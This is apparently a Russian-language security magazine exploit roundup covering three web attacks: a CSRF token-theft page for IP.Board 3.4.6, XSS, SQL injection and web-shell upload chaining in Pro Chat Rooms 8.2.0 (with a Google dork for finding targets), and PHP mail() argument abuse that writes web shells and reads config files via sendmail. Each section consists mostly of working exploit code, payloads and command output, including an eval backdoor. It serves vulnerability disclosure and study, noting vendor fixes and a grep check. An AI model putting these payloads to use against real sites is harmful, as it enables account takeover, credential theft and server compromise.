Сегодняшний наш обзор будет посвящен в основном веб-уязвимостям в популярных продуктах. Также рассмотрим пример атаки на различные приложения, подобную которой когда-то успешно провели на известный PHP-фреймворк Zend Framework.

 

CSRF-уязвимость в IP.Board 3.4.6

CVSSv2

N/A

BRIEF

Дата релиза: 3 сентября 2014 года

Автор: Piotr S (@evil_xorb)

CVE: N/A

В последних версиях форумного движка IPB содержится уязвимость, позволяющая атакующему украсть CSRF-токен пользователя и выполнять действия от его имени. Ошибка содержится в модуле, который предоставляет пользователю возможность делиться форумными ссылками. Как и всегда, она происходит из-за недостаточной проверки данных, вводимых пользователем. Идентификатор пользователя (токен) передается через GET-параметр в запросе, и если пользователь будет при этом перенаправлен на другой сайт, то сможет передать его атакующему.

Рассмотрим реальный механизм. Пользователь передает ссылку на официальном форуме:

http://community.invisionpower.com/index.php?sharelink=print;aHR0cDovL2NvbW11bml0eS5pbnZpc2lvbnBvd2VyLmNvbS9mb3J1bS5waHA/aWQ9MjMzNQ==

Как ты уже заметил, это Base64-кодировка. Внутри хранится адрес:

http://community.invisionpower.com/forum.php?id=2334

В этом случае пользователь будет без проблем перенаправлен на страницу в этом же форуме. Но из-за ошибки в сравнении строк атакующему достаточно на своем сайте создать поддомен, содержащий уязвимый домен. То есть

http://community.invisionpower.com.your_domain.pl

Далее, если пользователю передать ссылку с нашим доменом, наш скрипт получит следующие данные:

Location: http://community.invisionpower.com.xorb.pl/exploit.html?forcePrint=1&_k=161cc4d2d5503fdb483979f9c164b4d3

В $_GET параметре _k как раз и передается наш вожделенный токен пользователя. Теперь можно выполнять любые действия от его имени. Рассмотрим одно из действий на примере.

EXPLOIT

Создаем у себя на сайте поддомен вида:

http://forum.victim_site.com.your_domain.pl

Далее по этому адресу создаем файл exploit.html со следующим содержимым:

<html>
    <head>
        <script>
            onload = function ipboard(){var token = window.location.hash.split('=')[2];document.getElementById('tokens').value=token;};function fo(){document.ipboards.submit();}; setTimeout("fo()",1500);
        </script>
    </head>
    <body>
    <form action="http://forum.victim_site.com/index.php?" method="POST" id="ipboards" name="ipboards" enctype="multipart/form-data">
      <input type="hidden" name="TopicTitle" value="hacked!" />
      <input type="hidden" name="isRte" value="0" />
      <input type="hidden" name="noSmilies" value="0" />
      <input type="hidden" name="Post" value="IPboard 3.x 0day" />
      <input type="hidden" name="ipsTags" value="
" />
      <input type="hidden" name="enableemo" value="yes" />
      <input type="hidden" name="enablesig" value="yes" />
      <input type="hidden" name="st" value="0" />
      <input type="hidden" name="app" value="forums" />
      <input type="hidden" name="module" value="post" />
      <input type="hidden" name="section" value="post" />
      <input type="hidden" name="do" value="new_post_do" />
      <input type="hidden" name="s" value="x" />
      <input type="hidden" name="p" value="0" />
      <input type="hidden" name="t" value="
" />
      <input type="hidden" name="f" value="2" />
      <input type="hidden" name="parent_id" value="0" />
      <input type="hidden" name="attach_post_key" value="x" />
      <input type="hidden" id="tokens" name="auth_key" value="7xxx3e9" />
      <input type="hidden" name="removeattachid" value="0" />
      <input type="hidden" name="dosubmit" value="Post New Topic" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
<h1><b>IP Board 3.X PoC<br/>wait... ;)</b></h1>
    </body>
</html>

Теперь нужно сделать ссылку, которая будет указывать на наш сайт:

http://community.invisionpower.com/index.php?sharelink=print;aHR0cDovL2ZvcnVtLnZpY3RpbV9zaXRlLmNvbS55b3VyX2RvbWFpbi5jb20vZXhwbG9pdC5odG1sIw==

То есть в Base64-коде после ...print; будет такая ссылка:

http://forum.victim_site.com.your_domain.com/exploit.html#

Этот скрипт перенаправляет пользователя обратно на форум и создает новую тему от его лица.

Созданная с помощью вытащенного токена тема на форуме IP.Board

Можешь посмотреть видео по эксплуатации этой уязвимости от автора.

TARGETS

IP.Board 3.x–3.4.6.

SOLUTION

Есть исправление от производителя.

 

Множественные уязвимости в Pro Chat Rooms 8.2.0

CVSSv2

N/A

BRIEF

Дата релиза: 5 августа 2014 года

Автор: Mike Manzotti

CVE: N/A

Автор нашел серию различных уязвимостей в продуктах Text Chat Room и Audio/Video Chat Room (v8.2.0) от компании Prochatrooms.com. Софт написан с использованием языка PHP и технологии Ajax и позволяет на своем сайте иметь многопользовательские чаты для общения между пользователями. Поддерживает систему управлениям участниками чата (модераторы, администраторы), историю и некоторые команды из IRC. Но перейдем к самим уязвимостям.

EXPLOIT

  1. Начнем с первой — хранимой XSS. После того как пользователь зарегистрировался в системе, он может загрузить изображение для своего профиля, содержащее произвольный JavaScript-код. Информация об отправленном изображении:
POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333_Obzoraksploitov.jpg#26759185"
Content-Type: image/jpeg
<script>alert(document.cookie)</script>

После загрузки файла пользователь получает 32-символьное значение внутри HTML-тега imgID:

<input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b">

Само же изображение хранится в директории /profiles/uploads, и можно обратиться к нему напрямую:

http://<WEBSITE>/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b 
  1. Отраженная XSS. Параметр edit при редактировании профиля не обрабатывается:
http://<WEBSITE>/prochatrooms/profiles/index.php?id=1&edit="><script>alert(document.cookie)</script>
  1. SQL-инъекция. Как пишет автор, после исследования исходников он нашел только три параметра с недостаточной проверкой и уязвимых к инъекции в файле /includes/functions.php.
...
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users 
              SET email = '".$email."', 
                    password='".md5($password)."' 
              WHERE id = '".$id."'
              ";
...
$query = "UPDATE prochatrooms_users 
              SET email = '".$email."'
              WHERE id = '".$id."'
              ";        
...
$query = "UPDATE prochatrooms_users 
              SET active = '".$offlineTime."', online = '0' 
              WHERE username = '".makeSafe($toname)."'
              ";

Заметь, что защита от атак все-таки есть. Для этого используется функция makeSafe. Внутри же находится стандартная функция htmlspecialchars():

...
function makeSafe($data)
{
      $data = htmlspecialchars($data);
      return $data;
}
... 

После регистрации аккаунта атакующий может проэксплуатировать SQL-инъекцию, отредактировав поле email, и получить, например, MD5-хеш от пароля администратора.

POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu', email=(select adminLogin from prochatrooms_config) where id ='1';#

Помимо этого, инъекция позволяет читать файлы. Для примера загрузим данные о подключении к базе данных:

POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';#
  1. Ну и последняя на сегодня уязвимость — произвольная загрузка файлов. Если объединить уязвимости — хранимую XSS и SQL-инъекцию, то мы можем загрузить веб-шелл на сервер. Для начала загрузим изображение со следующим кодом:
POST:  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="uploadedfile"; filename="m_Obzoraksploitov.jpg#26759185"
Content-Type: application/octet-stream
<?php system($_GET[cmd]);?>

В ответ получим хеш, по которому можно обратиться к загруженному файлу:

<input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45">

Теперь воспользуемся инъекцией и создадим файл с нужным нам расширением:

POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu' where id ='1'; SELECT 
load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE 
'/var/www/prochatrooms/profiles/uploads/s.php';#

Проверяем работу шелла, обратившись к http://<WEBSITE>/prochatrooms/profiles/uploads/s.php?cmd=id:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Дорк для поисковой системы Google, чтобы найти сайты, использующие это приложение:

intitle:"Powered by Pro Chat Rooms"

TARGETS

Pro Chat Rooms 8.2.0.

SOLUTION

Есть исправление от производителя.

 

Выполнение произвольного кода через PHP-функцию mail()

CVSSv2

N/A

BRIEF

Дата релиза: 8 июля 2014 года

Автор: geoffrey

CVE: N/A

И в конце разберем не совсем уязвимость, а скорее вид атаки на веб-приложения, предложенной автором сайта. Реализовать его можно в некоторых случаях. Рассмотрим работу PHP-функции mail().

На вход подается до пяти параметров. Обязательные:

  1. To.
  1. Subject.
  1. Message.

Дополнительные:

  1. Headers (Optional).
  1. Parameters (Optional).

Все кажется нормальным на первый взгляд. Интерес здесь представляет второй дополнительный параметр. В документации по PHP расписано, что этот параметр можно использовать для добавления различных аргументов командной строки при отправке писем через sendmail, которые не были определены в файле с настройками. Также этот параметр по умолчанию выключен при запуске PHP в безопасном режиме начиная с версии 4.2.3.

Но рассмотрим теперь документацию к sendmail. Интерес для нас представляют следующие параметры:

  • -O option=value

Устанавливает значение для опции option. Такая форма использует длинные имена.

  • -Cfile

Использовать альтернативный файл с настройками. Sendmail выдает нужные права (set-user-ID or set-group-ID), если того требует новый файл.

  • -X logfile

Логирует весь входящий и исходящий почтовый трафик в указанный файл.

И еще интересная опция:

  • QueueDirectory=queuedir

Назначить директорию с очередью сообщений.

Стандартный пример работы с этой функцией:

$to = 'a@b.com';
$subject = 's';
$message = 'm';
$headers = '';
$options = '-arg val';
mail($to, $subject, $message, $headers, $options);

Для более наглядного примера работы рассмотрим вызов этой функции в gdb. Для начала будем запускать бинарник php с нужными нам параметрами:

(gdb) file php
Reading symbols from /opt/php-5.3.0/sapi/cli/php...done.
(gdb) set args -r 'mail("a@b.com", "s", "m", "", "-arg val");'

Ставим точку останова и запускаем:

(gdb) b mail.c:291
Breakpoint 1 at 0x83f39b2: file /opt/php-5.3.0/ext/standard/mail.c, line 291.
(gdb) r
Starting program: /opt/php-5.3.0/sapi/cli/php -r 'mail("a@b.com", "s", "m", "", "-arg val");'
[Thread debugging using libthread_db enabled]
Breakpoint 1, php_mail (to=0x8b5c2b8 "a@b.com", subject=0x8b5c2ec "s", message=0x8b5be2c "m", headers=0x8b5be9c "", extra_cmd=0x8b5c31c "-arg val")
   at /opt/php-5.3.0/ext/standard/mail.c:291
291        sendmail = popen(sendmail_cmd, "w");

Выводим значения нужных нам переменных:

(gdb) p sendmail_path
$1 = 0x89af284 "/usr/sbin/sendmail -t -i "
(gdb) p sendmail_cmd
$2 = 0x8b5c35c "/usr/sbin/sendmail -t -i  -arg val"

Очень хочется вместо -arg val указать какую-нибудь команду типа ;ls -al или еще что-то подобное, но от такого установлена защита. Поэтому вместо прямых команд будем использовать рассмотренные выше аргументы.

EXPLOIT

Теперь загрузим минимальный шелл на сервер:

$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';

При открытии файла http://localhost/rce.php в браузере получим следующее содержание:

11226 <<< To: a@b.c
11226 <<< Subject: 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

Но при проверке на самом сервере видим, что строка с шеллом есть, а значит, код исполняется:

> cat rce.php
11226 <<< To: a@b.c
11226 <<< Subject: <?php system($_GET["cmd"]); ?>
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

Проверим работу http://localhost/rce.php?cmd=ls%20-la:

11226 <<< To: a@b.c
11226 <<< Subject: total 20
drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 .
drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..
-rw-r--r-- 1 *** *** 92 Sep 3 01:12 config.php
-rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php
-rw-r--r-- 1 www-data www-data 176 Sep 3 01:27 rce.php
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
11226 <<<
11226 <<<
11226 <<< [EOF]

Или рассмотрим пример чтения файлов на сервере. Для этого воспользуемся аргументом -C:

$options = '-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.php';
mail($to, $subject, $message, $headers, $options);

Получаем файл evil.php со следующим содержимым:

11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php"
11124 >>> /var/www/html/config.php: line 3: unknown configuration line "dbuser = 'someuser';"
11124 >>> /var/www/html/config.php: line 4: unknown configuration line "dbpass = 'somepass';"
11124 >>> /var/www/html/config.php: line 5: unknown configuration line "dbhost = 'localhost';"
11124 >>> /var/www/html/config.php: line 6: unknown configuration line "dbname = 'mydb';"
11124 >>> No local mailer defined

Есть правда одно «но»: мало кто даст пользователю контроль над всеми параметрами при отправке писем. Поэтому автор предложил несколько реальных сценариев:

  1. Панель администратора

Хостеры обычно выдают доступ к этой функции владельцам Shared без проблем, и есть возможность прочитать файлы других пользователей — соседей этого хостинга. Или же как дополнительный вариант — чтобы закрепиться на сервере, оставив лазейку такого вида.

  1. Почтовый сервис

В некоторых случаях хостеры или сайты предоставляют функционал отправки писем. И если пользователю позволяется указать отправителя через аргумент -f, то также можно провести атаку:

-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/uploads/back.php

где PHPFROM:

"<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>"

Подобные «почтовые» сервисы особенно часто встречаются в виде скриптов для рассылки спама, поэтому такой вектор атаки ты можешь встретить до сих пор.

TARGETS

Проверить веб-приложение можно следующим регулярным выражением:

grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Также подобная уязвимость была найдена в популярном PHP-фреймворке Zend, правда, довольно давно, в конце 2011 года.

SOLUTION

Желательно не использовать все пять параметров при вызове функции mail() или добавить качественную проверку.

Check Also

Неинновационные инновации. Откуда растут корни технологий Apple

Тройная камера, умный режим HDR, «ночной режим» Night Shift, True Tone, Liquid Retina Disp…

Оставить мнение